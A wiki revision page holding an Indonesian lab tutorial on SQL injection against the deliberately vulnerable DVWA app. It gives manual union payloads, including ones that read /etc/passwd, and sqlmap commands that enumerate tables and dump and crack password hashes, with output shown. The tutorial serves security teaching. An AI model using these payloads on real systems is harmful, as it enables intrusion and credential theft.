Difference between revisions of "SQLMap: Contoh SQL Injection ke DVWA"

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(New page: Sumber: http://www.null-reference.com/linux/sqlmap-with-dvwa-damn-vunerable-web-app/ I decided to do a write up on SQLMAP on my KALI install against DVWA on a Fedora virtual. I create...)
 
 
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Sumber: http://www.null-reference.com/linux/sqlmap-with-dvwa-damn-vunerable-web-app/
 
Sumber: http://www.null-reference.com/linux/sqlmap-with-dvwa-damn-vunerable-web-app/
  
 +
==Latar Belakang==
  
 +
Sebelum menggunakan SQLMAP akan sangat baik jika kita dapat melihat apakah injection dapat dilakukan. SQLMAP hanya alat bantu saja, sebaiknya kita mengetahui proses-nya secara manual. Semua SQLMAP fitur dapat dilakukan secara manual.
  
  
−
I decided to do a write up on SQLMAP on my KALI install against DVWA on a Fedora virtual.  I created this for some people that I work with to show them that while tools are powerful knowing the manual process is just as valuable.
+
==Proses manual untuk test Vulnerability==
  
−
*******************************************
+
Dalam DVWA
−
SQL MAP WALK THROUGH BY NULL REFERENCE
 
  
−
http://www.null-reference.com
+
Original Query
  
−
USING DVWA AS AN EXAMPLE FOR THIS
+
SELECT first_name, last_name FROM users WHERE user_ID = '$id'
  
−
*******************************************
+
Exploited Query
  
−
*******************************************
+
SELECT first_name, last_name FROM users WHERE user_ID = '' union select user, password from dvwa.users -- '
−
Background
 
−
*******************************************
 
−
Before using SQLMAP it is best to see if you have an injection possibility. SQLMAP is a tool and just like any tool you should know the process manually before using it. The tool is only as good as the operator. All of the SQLMAP features can be done by hand without the tool, therefore know what you are doing before automating a process.
 
−
*******************************************
 
  
−
Manual Process To Test Vulnerability
 
−
*******************************************
 
  
−
    Check if you it is vulnerable
 
−
        1′ or ’2′=’2
 
−
    We need to see how many columns actually get returned we will run the below syntax until we get an error (This is not required but just gives us some good information for further use)
 
−
        ‘ and 1=1 union select 1,2 #
 
−
        ‘ and 1=1 union select 1,2,3 #
 
−
            This throws an error so we know we only have 2 columns getting returned.
 
−
    Some other fun injections
 
−
        ‘ union SELECT 1, user() — ‘
 
−
        ‘ and 1=1 union select database(),version() #
 
−
        ‘ union SELECT 1, user() #
 
−
        ‘ and 1=1 union select null,table_schema from information_schema.tables #
 
−
        ‘ and 1=1 union select table_name,table_schema from information_schema.tables #
 
−
        ‘ and 1=1 union select table_name,table_schema from information_schema.tables where table_schema=’dvwa’ #
 
−
        ‘ and 1=1 union select first_name,password from dvwa.users #
 
−
        ‘ union SELECT table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ #
 
−
        ‘ union SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘user_id’ #
 
−
        ‘ union select user, password FROM users #
 
−
        ‘ union SELECT 1, load_file(‘/etc/hosts’) #
 
−
        ‘ union SELECT 1, load_file(‘/etc/passwd’) #
 
  
−
Ok so now we know that 1,2,3 gave us an error so we know the recordset being returned only has 2 columns. This matches the output of the fields that are displayed when the record set is returned. THis means if we wanted with manual injection we can start doing alias statements
 
−
on a union to get the database user name tables etc. However this is where SQL map can make our lives easier.
 
−
*******************************************
 
−
SQL MAP
 
−
*******************************************
 
  
−
Parameters we will be using and what they mean
+
Cek apakah situs kita vulnerable
  
−
    -u This specifies the URL
+
1′ or ’2′=’2
−
    –cookie This will output (emulate) a cookie header
 
−
        For this we will need a couple of things which we can find with the firefox addon tamper data. We will need know the cookie header information just by running tamper data we can see that we have some session information that gets submitted so we will emulate this header Sample header we will emulate
 
−
            Cookie=security=low; PHPSESSID=ff1fig4sda49j0b2ah1e7j4eu7
 
−
    –dbs This will list Database names if successful
 
−
    -D This will specify the database
 
−
    –tables This will specify that we want a list of the tables from the database specified in the -D parm
 
−
    –columns This will list the columns in the –tables parm
 
−
    –current-user This will return the current user running SQL
 
−
    –users This will return back a list of all users in SQL
 
−
    –passwords This will return back a hash of the passwords for the
 
−
    SQL instance
 
  
−
Execution examples
+
Kita perlu melihat berapa banyak kolom sebelum ada error.
  
−
sqlmap -u ‘http://192.168.1.90/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#’ –cookie=”security=low; PHPSESSID=ff1fig4sda49j0b2ah1e7j4eu7″ –dbs
+
‘ and 1=1 union select 1,2 #
 +
‘ and 1=1 union select 1,2,3 #
  
−
Returns
+
Ini akan memperlihatkan bahwa tabel-nya hanya ada 2 kolom.
−
[15:17:52] [INFO] fetching database names
 
−
available databases [4]:
 
−
[*] dvwa
 
−
[*] information_schema
 
−
[*] mysql
 
−
[*] performance_schema
 
−
sqlmap -u ‘http://192.168.1.90/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#’ –cookie=”security=low; PHPSESSID=ff1fig4sda49j0b2ah1e7j4eu7″ -D dvwa –tables
 
  
−
Returns
+
Mari kita melakukan injection.
−
[15:18:19] [INFO] fetching tables for database: ‘dvwa’
 
−
Database: dvwa
 
−
[2 tables]
 
−
+———–+
 
−
| guestbook |
 
−
| users      |
 
−
+———–+
 
−
sqlmap -u ‘http://192.168.1.90/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#’ –cookie=”security=low; PHPSESSID=ff1fig4sda49j0b2ah1e7j4eu7″ -D dvwa -T users –columns
 
  
−
Returns
+
‘ union SELECT 1, user() — ‘
−
[15:19:14] [INFO] fetching columns for table ‘users’ in database ‘dvwa’
+
‘ and 1=1 union select database(),version() #
−
Database: dvwa
+
‘ union SELECT 1, user() #
−
Table: users
+
  ‘ and 1=1 union select null,table_schema from information_schema.tables #
−
[6 columns]
+
‘ and 1=1 union select table_name,table_schema from information_schema.tables #
−
+————+————-+
+
‘ and 1=1 union select table_name,table_schema from information_schema.tables where table_schema=’dvwa’ #
−
| Column    | Type          |
+
‘ and 1=1 union select first_name,password from dvwa.users #
−
+————+————-+
+
‘ union SELECT table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ #
−
| user         | varchar(15) |
+
‘ union SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘user_id’ #
−
| avatar      | varchar(70) |
+
‘ union select user, password FROM users #
−
| first_name | varchar(15) |
+
‘ union SELECT 1, load_file(‘/etc/hosts’) #
−
| last_name | varchar(15) |
+
‘ union SELECT 1, load_file(‘/etc/passwd’) #
−
| password | varchar(32) |
 
−
| user_id      | int(6)        |
 
−
+————+————-+
 
−
sqlmap -u ‘http://192.168.1.90/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#’ –cookie=”security=low; PHPSESSID=ff1fig4sda49j0b2ah1e7j4eu7″ -D dvwa -T users –dump
 
  
−
–dump will dump the data if there are passwords that are hashed depending on the version of SQLMAP you have will prompt to crack the passwords. You can specify your own dictionary or you can use the one that they specify. However the base dictionary cracks all the user passwords
+
Kita tahu bahwa 1,2,3 akan memberikan kita error kumpulan data hanya ada 2 kolom.
  
−
See the output
+
==Menggunakan SQLMAP==
  
−
[15:21:44] [INFO] starting dictionary-based cracking (md5_generic_passwd)
+
Parameter yang kita gunakan & artinya
−
[15:21:44] [INFO] starting 4 processes
 
−
[15:21:47] [INFO] cracked password ‘abc123′ for hash ‘e99a18c428cb38d5f260853678922e03′
 
−
[15:21:50] [INFO] cracked password ‘charley’ for hash ’8d3533d75ae2c3966d7e0d4fcc69216b’
 
−
[15:21:53] [INFO] cracked password ‘letmein’ for hash ’0d107d09f5bbe40cade3de5c71e9e9b7′
 
−
[15:21:55] [INFO] cracked password ‘password’ for hash ’5f4dcc3b5aa765d61d8327deb882cf99′
 
−
Database: dvwa
 
−
Table: users
 
−
[5 entries]
 
−
+———+———+———————————————————–+———–+————+
 
−
| user_id | user    | password                                                          | last_name | first_name |
 
−
+———+———+———————————————————–+———–+————+
 
−
| 1        | admin  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin    | admin      |
 
−
| 2        | gordonb| e99a18c428cb38d5f260853678922e03 (abc123)  | Brown    | Gordon    |
 
−
| 3        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me          | Hack        |
 
−
| 4        | pablo    | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso    | Pablo      |
 
−
| 5        | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith      | Bob        |
 
−
+———+———+———————————————————–+———–+————+
 
  
−
There you have it you know just gained access to all the sql users.
+
-u      URL yang dituju
 +
--cookie mengirimkan / mengemulasi sebuah cookie header
  
 +
Untuk memperoleh cookie, kita perlu mendapatkannya misalnya dengan firefox addon tamper data. Contoh
  
 +
Cookie=security=low; PHPSESSID=ff1fig4sda49j0b2ah1e7j4eu7
  
 +
--dbs Ini akan memberikan daftar database jika sukses dilakukan.
 +
-D  Ini untuk menentukan database yang diserang.
 +
--tables untuk melihat daftar tabel dari database -D parm.
 +
--columns untuk melihat kolom di -tables parm
 +
--current-user untuk melihat current user yang menjalankan SQL
 +
--users untuk melihat semua users dari SQL
 +
--passwords untuk memberikan password yang di hash dari SQL instance.
  
 +
==Contoh Eksekusi==
  
 +
===Cek daftar database yang ada===
  
 +
sqlmap -u 'http://192.168.0.80/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit#'
 +
--cookie="security=low; PHPSESSID=0dim4l9ngdspqoq70gdihpcl41" --dbs
 +
 +
hasilnya
 +
 +
[07:02:08] [INFO] fetching database names
 +
available databases [7]:
 +
[*] dvwa
 +
[*] information_schema
 +
[*] mediawiki
 +
[*] moodle
 +
[*] mysql
 +
[*] performance_schema
 +
[*] snort
 +
 +
===Cek daftar tabel dari database dvwa===
 +
 +
 +
sqlmap -u 'http://192.168.0.80/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit#'
 +
--cookie="security=low; PHPSESSID=0dim4l9ngdspqoq70gdihpcl41" -D dvwa --tables
 +
 +
 +
Hasilnya
 +
 +
[07:08:39] [INFO] fetching tables for database: 'dvwa'
 +
[07:08:39] [WARNING] reflective value(s) found and filtering out
 +
Database: dvwa
 +
[2 tables]
 +
+-----------+
 +
| guestbook |
 +
| users    |
 +
+-----------+
 +
 +
 +
===Cek format kolom tabel users===
 +
 +
sqlmap -u 'http://192.168.0.80/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit#'
 +
--cookie="security=low; PHPSESSID=0dim4l9ngdspqoq70gdihpcl41" -D dvwa -T users --columns
 +
 +
Hasilnya
 +
 +
[07:11:51] [INFO] fetching columns for table 'users' in database 'dvwa'
 +
[07:11:51] [WARNING] reflective value(s) found and filtering out
 +
Database: dvwa
 +
Table: users
 +
[6 columns]
 +
+------------+-------------+
 +
| Column    | Type        |
 +
+------------+-------------+
 +
| user      | varchar(15) |
 +
| avatar    | varchar(70) |
 +
| first_name | varchar(15) |
 +
| last_name  | varchar(15) |
 +
| password  | varchar(32) |
 +
| user_id    | int(6)      |
 +
+------------+-------------+
 +
 +
===dump password===
 +
 +
 +
sqlmap -u 'http://192.168.0.80/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit#'
 +
--cookie="security=low; PHPSESSID=0dim4l9ngdspqoq70gdihpcl41" -D dvwa -T users --dump
 +
 +
 +
--dump akan meng-crack password yang di hash. Anda akan ditanya apakah akan menggunakan dictionary yang ada di SQLMAP atau dictionary kita sendiri.
 +
 +
Hasilnya
 +
 +
[07:15:16] [INFO] using hash method 'md5_generic_passwd'
 +
what dictionary do you want to use?
 +
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
 +
[2] custom dictionary file
 +
[3] file with list of dictionary files
 +
> 1
 +
[07:15:21] [INFO] using default dictionary
 +
do you want to use common password suffixes? (slow!) [y/N] y
 +
[07:15:30] [INFO] starting dictionary-based cracking (md5_generic_passwd)
 +
[07:15:30] [INFO] starting 2 processes
 +
[07:15:35] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'                                                           
 +
[07:15:42] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'                                                           
 +
[07:15:50] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'                                                           
 +
[07:15:54] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'                                                         
 +
[07:16:00] [INFO] postprocessing table dump                                                                                                       
 +
Database: dvwa
 +
Table: users
 +
[5 entries]
 +
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+
 +
| user_id | user    | avatar                          | password                                    | last_name | first_name |
 +
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+
 +
| 1      | admin  | dvwa/hackable/users/admin.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin    | admin      |
 +
| 2      | gordonb | dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)  | Brown    | Gordon    |
 +
| 3      | 1337    | dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack      |
 +
| 4      | pablo  | dvwa/hackable/users/pablo.jpg  | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso  | Pablo      |
 +
| 5      | smithy  | dvwa/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith    | Bob        |
 +
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+
 +
 +
Maka kita memperoleh password dari semua sql user :)
  
 
==Referensi==
 
==Referensi==
  
 
* http://www.null-reference.com/linux/sqlmap-with-dvwa-damn-vunerable-web-app/
 
* http://www.null-reference.com/linux/sqlmap-with-dvwa-damn-vunerable-web-app/

Latest revision as of 05:56, 4 March 2017

Sumber: http://www.null-reference.com/linux/sqlmap-with-dvwa-damn-vunerable-web-app/

Latar Belakang

Sebelum menggunakan SQLMAP akan sangat baik jika kita dapat melihat apakah injection dapat dilakukan. SQLMAP hanya alat bantu saja, sebaiknya kita mengetahui proses-nya secara manual. Semua SQLMAP fitur dapat dilakukan secara manual.


Proses manual untuk test Vulnerability

Dalam DVWA

Original Query 

SELECT first_name, last_name FROM users WHERE user_ID = '$id'

Exploited Query 

SELECT first_name, last_name FROM users WHERE user_ID =  union select user, password from dvwa.users -- '



Cek apakah situs kita vulnerable 

1′ or ’2′=’2

Kita perlu melihat berapa banyak kolom sebelum ada error. 

‘ and 1=1 union select 1,2 #
‘ and 1=1 union select 1,2,3 #

Ini akan memperlihatkan bahwa tabel-nya hanya ada 2 kolom.

Mari kita melakukan injection. 

‘ union SELECT 1, user() — ‘
‘ and 1=1 union select database(),version() #
‘ union SELECT 1, user() #
‘ and 1=1 union select null,table_schema from information_schema.tables #
‘ and 1=1 union select table_name,table_schema from information_schema.tables #
‘ and 1=1 union select table_name,table_schema from information_schema.tables where table_schema=’dvwa’ #
‘ and 1=1 union select first_name,password from dvwa.users #
‘ union SELECT table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ #
‘ union SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘user_id’ #
‘ union select user, password FROM users #
‘ union SELECT 1, load_file(‘/etc/hosts’) #
‘ union SELECT 1, load_file(‘/etc/passwd’) #

Kita tahu bahwa 1,2,3 akan memberikan kita error kumpulan data hanya ada 2 kolom.

Menggunakan SQLMAP

Parameter yang kita gunakan & artinya 

-u      URL yang dituju
--cookie mengirimkan / mengemulasi sebuah cookie header

Untuk memperoleh cookie, kita perlu mendapatkannya misalnya dengan firefox addon tamper data. Contoh 

Cookie=security=low; PHPSESSID=ff1fig4sda49j0b2ah1e7j4eu7

--dbs Ini akan memberikan daftar database jika sukses dilakukan.
-D   Ini untuk menentukan database yang diserang. 
--tables untuk melihat daftar tabel dari database -D parm. 
--columns untuk melihat kolom di -tables parm
--current-user untuk melihat current user yang menjalankan SQL
--users untuk melihat semua users dari SQL
--passwords untuk memberikan password yang di hash dari SQL instance.

Contoh Eksekusi

Cek daftar database yang ada

sqlmap -u 'http://192.168.0.80/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit#'
--cookie="security=low; PHPSESSID=0dim4l9ngdspqoq70gdihpcl41" --dbs

hasilnya 

[07:02:08] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] mediawiki
[*] moodle
[*] mysql
[*] performance_schema
[*] snort

Cek daftar tabel dari database dvwa

sqlmap -u 'http://192.168.0.80/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit#'
--cookie="security=low; PHPSESSID=0dim4l9ngdspqoq70gdihpcl41" -D dvwa --tables


Hasilnya 

[07:08:39] [INFO] fetching tables for database: 'dvwa'
[07:08:39] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+


Cek format kolom tabel users

sqlmap -u 'http://192.168.0.80/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit#'
--cookie="security=low; PHPSESSID=0dim4l9ngdspqoq70gdihpcl41" -D dvwa -T users --columns

Hasilnya 

[07:11:51] [INFO] fetching columns for table 'users' in database 'dvwa'
[07:11:51] [WARNING] reflective value(s) found and filtering out
Database: dvwa
Table: users
[6 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| user       | varchar(15) |
| avatar     | varchar(70) |
| first_name | varchar(15) |
| last_name  | varchar(15) |
| password   | varchar(32) |
| user_id    | int(6)      |
+------------+-------------+

dump password

sqlmap -u 'http://192.168.0.80/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit#'
--cookie="security=low; PHPSESSID=0dim4l9ngdspqoq70gdihpcl41" -D dvwa -T users --dump


--dump akan meng-crack password yang di hash. Anda akan ditanya apakah akan menggunakan dictionary yang ada di SQLMAP atau dictionary kita sendiri.

Hasilnya 

[07:15:16] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[07:15:21] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[07:15:30] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[07:15:30] [INFO] starting 2 processes 
[07:15:35] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'                                                             
[07:15:42] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'                                                            
[07:15:50] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'                                                            
[07:15:54] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'                                                           
[07:16:00] [INFO] postprocessing table dump                                                                                                         
Database: dvwa
Table: users
[5 entries]
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+
| user_id | user    | avatar                          | password                                    | last_name | first_name |
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+
| 1       | admin   | dvwa/hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      |
| 2       | gordonb | dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     |
| 3       | 1337    | dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       |
| 4       | pablo   | dvwa/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      |
| 5       | smithy  | dvwa/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        |
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+

Maka kita memperoleh password dari semua sql user :)

Referensi

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